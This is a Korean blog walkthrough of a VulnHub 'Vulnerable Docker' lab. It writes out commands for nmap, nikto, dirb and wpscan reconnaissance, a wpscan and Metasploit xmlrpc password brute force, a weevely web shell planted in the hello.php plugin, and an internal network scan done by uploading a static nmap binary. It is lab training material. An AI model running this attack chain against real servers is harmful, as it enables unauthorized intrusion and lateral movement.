안전하지 않게 구성된 도커 서비스를 이용하여 취약점을 분석해보는 실습을 진행한다.
실습 환경 구성
분석 대상
우리는 도커 환경의 워드 프레스의 취약점 분석을 하기 위해서 미리 만들어진 VM 이미지를 이용할 것이다.
아래 사이트에서 취약한 버전의 ova를 설치할 수 있다.
https://www.vulnhub.com/entry/vulnerable-docker-1,208/
분석 툴
취약점 분석을 위해서 칼리 리눅스를 이용한다.
칼리 리눅스에는 여러 가지 해킹/분석 툴을 포함하기 때문에 이를 이용해서 진행할 것이다.
칼리 리눅스 공식 사이트에서 vmware 이미지를 설치할 수 있다.
https://www.kali.org/get-kali/
자동화 취약점 진단을 사용하는 목적
- 사람이 수동으로 하나씩 접근할 수 없는 한계를 해결
- 결과를 이용해 중요도 높은 작업 수행 가능
자동화 취약점 진단
자동화 취약점 분석 절차는 다음과 같다.
1. nmap을 이용한 서버 정보 수집
2. nikto를 이용한 취약점 점검
3. dirb를 이용한 디렉토리 구조 확인
4. wpscan를 이용한 워드프레스 정보 수집
5. secList를 이용한 딕셔너리 어택
6. Metasploit을 이용한 취약점 점검
7. weevely를 이용한 웹 쉘 업로드 공격
실습 간 사용되는 칼리 리눅스의 ip는 192.168.10.128이다.
1. nmap 분석
대표적인 스캐닝 도구인 nmap을 이용하면 열린 포트, 버전, 취약점 정보 등 다양한 정보를 얻을 수 있다.
먼저 네트워크 대역을 알고 있다는 전제로 내부 ip를 스캔해본다.
# 포트 스캔을 사용하지 않는 호스트 스캔
sudo nmap -sn 192.168.10.*
# TCP open 포트 스캔까지 사용한 호스트 스캔
sudo nmap -sT 192.168.10.*
IP [192.168.10.129]에 22번과 8000번 포트가 열려있는 것을 확인할 수 있다.
자세한 정보를 얻기 위해 세밀한 스캐닝을 진행한다.
# -sV 버전 스캔
# -p- 모든 포트 스캔
sudo nmap -sV 192.168.10.129 -p-
열린 포트의 서비스 버전을 확인할 수 있으며 아까는 발견하지 못했던 docker가 사용 중인 것을 알아내었다.
이번엔 nmap 스크립트를 이용하여 점검을 진행한다.
# -sC : 기본 스크립트를 이용한 점검
# -oX : 결과를 파일로 기록
sudo nmap -sC 192.168.10.129 -p- -oX result.xml
# http-enum : 웹 디렉토리 구조 파악 스크립트
# -d : 어떤 작업을 하는지 출력함
sudo nmap -sV --script=http-enum 192.168.10.129 -p 8000 -d
스크립트를 이용하니 웹 포트에 대한 추가적인 정보를 얻을 수 있었다.
해당 사이트는 도커를 이용한 wordPress 서비스를 지원하는 듯 보이며 WordPress 4.8.1 버전을 사용하는 것을 식별했다.
또한 8000포트에 http-enum 스크립트를 사용한 결과 위와 같이 웹 디렉토리 구조를 얻어낼 수 있었다.
이와 같이 여러 스크립트를 적절히 사용하면 더 많은 정보를 얻어낼 수 있다.
2. nikto 분석
perl 기반의 자동 진단 스크립트이며 프로그램이 가볍고 빨라 간단하게 점검이 가능하다.
nikto를 이용하면 버전 정보나 디렉토리 구조 등을 알아낼 수 있다. ( http-enum과 유사 )
# -h : url을 입력하기 위한 옵션
sudo nikto -h http://192.168.10.129:8000
짧은 시간에 여러 정보들을 얻을 수 있었다.
자동화 도구를 이용할 때에는 제일 좋은 도구 하나만 이용하는 것보다 여러 도구들을 복합적으로 사용해 보면서 정보를 수집하는 것이 바람직하다.
3. dirb 분석
딕셔너리 방식을 이용해 디렉토리 구조를 파악하는 툴이다.
사전 단어를 url에 넣어 접속이 가능한지 확인해 상태 코드를 반환한다.
서버에 많은 무리를 주며 기록이 남기 때문에 이용에 주의가 필요하다.
# 딕셔너리 파일이 있다면 두번째 인자로 사용할 수 있다(옵션)
sudo dirb http://192.168.10.129:8000 [사전파일]
작업량이 굉장히 많기 때문에 중간에 종료하였다.
위에 보이는 301 코드를 반환한 주소의 경우 리다이렉션이 진행되었다는 뜻으로 해당 URL이 완벽히 접근 가능하지는 않다는 것을 알고 올바르게 판단하여야 한다.
4. wpscan 분석
WordPress의 취약점을 중점으로 점검하는 도구이다.
서버가 워드 프레스를 사용한다는 것을 알고 있기 때문에 사용하기 적합하다.
sudo wpscan --url http://192.168.10.129:8000
사용자가 보기 편하도록 깔끔하게 결과가 출력된다.
첫 단락에는 xml-rpc.php에 대한 정보가 있으며 이는 로그인 정보를 확인할 수 있으며 DDOS 공격에 사용될 수 있는 취약점이다.
그 밖에 접근 가능 위치와 테마 버전 등의 취약할 수 있는 정보를 알려준다.
옵션을 이용해 사용자의 정보를 찾아본다.
# --enumerate u : 사용자 정보 탐색
sudo wpscan --url http://192.168.10.129:8000 --enumerate u
탐색 결과 bob이라는 계정이 있음을 식별했다.
이러한 정보는 wordpress의 설정 파일 경로가 항상 동일하기 때문에 쉽게 탐색된다.
5. secList 딕셔너리 공격
secList는 딕셔너리 공격에서 사용되는 다양한 딕셔너리를 기록한 프로젝트이다.
위에서 알아낸 bob의 비밀번호를 브루트포스 공격으로 찾아내어 로그인할 것이다.
딕셔너리에 대한 정보는 github에서 확인할 수 있다.
# SecLists 설치
sudo git clone https://github.com/danielmiessler/SecLists.git
# WPScan을 이용해 bob의 비밀번호를 브루트포스 공격
sudo wpscan --url http://192.168.10.129:8000 --usernames bob \
--passwords /home/kali/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt
실행 시 딕셔너리의 수많은 패스워드 값을 대입해보면서 맞는 비밀번호를 찾는다.
공격 결과 우리는 bob의 비밀번호는 Welcome1이라는 것을 알아냈다.
이를 이용해 서비스에 접속하여 로그인을 진행해보자.
/wp-admin 경로로 접근하면 다음과 같은 관리자 로그인 페이지가 나온다.
알아낸 아이디와 패스워드를 이용해서 성공적으로 관리자 페이지에 접근할 수 있다.
6. Metasploit 분석
수많은 취약점에 대한 분석 및 공격 코드를 가진 유명한 취약점 점검 도구이다.
metasploit 내에도 xmlrpc 취약점을 이용해 워드프레스의 계정 정보를 브루트 포스 공격할 수 있다.
# 메타스플로이트 실행
sudo msfconsole
# xmlrpc 관련 취약점 탐색
search xmlrpc
# 공격할 취약점 선택
use auxiliary/scanner/http/wordpress_xmlrpc_login
# 필요한 옵션 확인 후 기입
show options
set RHOSTS 192.168.10.129
set RPORT 8000
set USERNAME bob
set PASS_FILE /home/kali/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt
# 공격 시작
exploit
wpscan과 동일하게 취약점을 이용해 계정 정보를 얻어낼 수 있다.
7. weevely 웹 쉘 업로드 공격
칼리 리눅스에서 제공하는 난독화 웹 쉘 생성 툴이다.
웹 쉘을 생성할 수 있으며 생성한 웹 쉘에 연결 기능까지 제공한다.
우리는 페이지에 적용된 플러그인 중 hello dolly 플러그인에 취약점이 있다는 것을 알고 있다는 전제로 작업한다.
weevely를 이용해 웹쉘을 생성하고 플러그인 코드에 적용시켜 플러그인 페이지인 hello.php가 실행될 때 웹쉘이 같이 동작하도록 시도한다.
# weevley genrate [암호] [파일]
# 암호는 weevely를 이용해 웹 쉘과 연결할 때 필요하다
sudo weevely generate hacker shell.php
생성된 웹 쉘을 보면 위와 같이 알아보기 어렵도록 난독화되어 있다.
이를 복사하여 플러그인 수정 페이지에 삽입한다.
성공적으로 업로드되면 해당 위치로 접근하여 쉘 탈취를 시도한다.
# 마지막 파라미터에 설정했던 암호값을 넣는다.
sudo weevely http://192.168.10.129:8000/wp-content/plugins/hello.php hacker
위와 같다면 성공적으로 해당 서버의 시스템 내부로 접근한 것이다.
시스템에 접근한 후에는 여러 정보를 확인할 수 있다.
# 운영체제 정보 확인
uname -a
# 네트워크 정보 확인
ip addr
해당 서비스는 도커로 구현되어있다. 이를 확인하여 보자.
# 프로세스 컨트롤 그룹 확인
cat /proc/1/cgroup
위와 같이 리소스 그룹들에게서 docker라는 단어를 찾아볼 수 있다.
또한 도커는 기본 네트워크로 172.18.0.0/16 대역을 사용하는 것도 하나의 예가 될 수 있다.
도커로 실행되는 것을 알고 있다면 도커는 대부분 주변에 다른 서비스가 같이 동작한다는 것도 유추할 수 있다.
우리는 weevely의 파일 업로드 기능을 이용해 미리 컴파일된 nmap 바이너리를 올려 네트워크 스캔을 진행한다.
바이너리를 업로드하는 이유는 탈취한 시스템에서 프로그램을 설치하는 것은 제한되기 때문에 실행 가능한 상태로 업로드하는 것이다.
Static-binaries라는 깃 허브 사이트에서 여러 컴파일된 도구를 확인할 수 있다.
# github에서 파일 하나만 다운로드
# 파일 view raw 버튼의 주소를 wget으로 접근
wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap?raw=true
sudo mv 'nmap?raw=true' nmap
# weevely 쉘이 연결된 상태에서 진행
# 권한이 허가된 tmp 파일로 업로드 시도
file_upload /usr/bin/nmap /tmp/nmap
# 실행을 위한 권한 설정
cd /tmp
chmod +x nmap
# nmap을 이용해 네트워크 스캔
./nmap 172.18.0.0/24 -p-
결과를 통해 네트워크 내부에 다른 서비스들이 동작하고 있는 것을 알 수 있다.
우리는 여러 가지 자동화 도구를 이용해 취약한 도커 서비스를 분석해보았다.
nmap은 포트, 호스트 스캔과 더불어 스크립트를 이용해 추가적인 정보 및 취약점 진단이 가능하다.
nikto는 간단한 분석, wpscan은 워드프레스 환경에 사용이 적합하다.
dirb는 brute force 공격을 이용해 웹 디렉토리를 찾아낸다.
SecLists는 brute force 공격에 사용될 수많은 딕셔너리를 제공한다.
metasploit는 가장 많은 취약점을 분석할 수 있는 취약점 점검 도구이다.
weevely는 난독화된 웹 쉘을 생성 및 접속할 수 있는 도구이다.
'보안 이론 > 클라우드 보안' 카테고리의 다른 글
AWS - WAF (1) | 2022.11.20 |
---|---|
Docker - 도커 파일, 도커 컴포즈 (0) | 2022.11.07 |
Docker - Volume, Network (0) | 2022.11.06 |
Docker - 이론 및 기본 사용법 (0) | 2022.11.04 |
AWS - Auto Scaling (0) | 2022.11.03 |